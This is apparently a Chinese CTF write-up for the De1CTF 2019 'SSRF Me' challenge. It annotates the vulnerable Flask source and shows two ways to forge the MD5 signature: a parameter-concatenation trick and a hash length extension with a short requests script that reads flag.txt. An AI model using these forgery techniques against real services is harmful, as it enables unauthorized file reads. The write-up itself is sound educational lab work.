Python 函数
geneSign() | 获得param参数,通过action和param生成签名 |
---|---|
challenge() | 获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法 |
index | 得到源码 |
函数 | 解释 | |
---|---|---|
init(self, action, param, …) | 构造方法self代表对象,其他是对象的属性 | |
request.args.get(param) | 提取get方法传入的,参数名叫param对应得值 | |
request.cookies.get(“action”) | 提取cookie信息中的,名为action得对应值 | |
hashlib.md5().hexdigest() | hashlib.md5()#获取一个md5加密算法对象,hexdigest()是获得加密吼的16进制字符串 | |
urllib.unquote() | 将url编码解码 | |
urllib.urlopen() | 读取网络文件参数可以是url | |
json.dumps | Python 对象编码成 JSON 字符串 |
20-1 [De1CTF 2019]SSRF Me
做题思路
发现有个提示
打开题目
由大佬代码解析得到
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip):#python得构造方法 self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数 result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action:#action要写scan tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) # 此处是文件读取得注入点 if (resp == "Connection Timeout"): result['data'] = resp else: print resp #输出结果 tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action:#action要加read f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): #!!!校验 return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试 def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点 def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/')#根目录路由,就是显示源代码得地方 def index(): return open("code.txt","r").read() def scan(param):#这是用来扫目录得函数 socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param):#这个waf比较没用好像 check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0')
大致流程
Exec关键代码
看完这段代码可以理解整个
1.我们需要过checkSign的校验,
getSign(self.action, self.param) == self.sign
, 当secert_key + param + action散列后的16进制内容和sign相同即可通过校验。
2.action中有read和scan,
3.param是flag.txt即可通过scan函数读取flag。
难点是checkSign函数的校验,也就是getSign的校验。
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
由于我们并没有secert_key的值,所以本来是没得办法的。
但是/geneSign路由,暴露了getSign函数,
我们可以根据路由getSign去得到正确的sign值。
但是如果我们直接访问/geneSign?param=flag.txt只会得到md5(secert_key + 'flag.txt' + 'scan')的值,而我们想要得到是md5(secert_key + 'flag.txt' + 'readscan')的值才能用来读取到flag.txt
当访问/geneSign?param=flag.txt的时候,返回的 md5 就是md5('secert_key' + 'flag.txt' + 'scan'),在 python 里面实际表达式就是md5(secert_keyflag.txtscan)
所以直接构造访问/geneSign?param=flag.txtread,拿到的 md5 就是md5('secert_key' + 'flag.txtread' + 'scan'),等价于md5('secert_keyflag.txtreadscan')直接一步到位
所以访问/geneSign?param=flag.txtread,就可以直接得到对应值
最后构造数据包
还有一种方法是哈希拓展攻击
通过hashpump进行MD5拓展。添加read字符从而得到md5(secert_key + 'flag.txt' + 'readscan')的值,之后利用一下脚本攻击得到flag
import requests url = 'http://e7a32bca-0a5f-4d63-8944-1cc29f2c2964.node3.buuoj.cn/De1ta?param=flag.txt' cookies = { 'sign': 'deb7616832c0da4b64888b831cc10a79', 'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read', } res = requests.get(url=url, cookies=cookies) print(res.text)
由于我没花时间学python,所以有许多细节无法理解,啊啊啊啊,我真的好菜鸡啊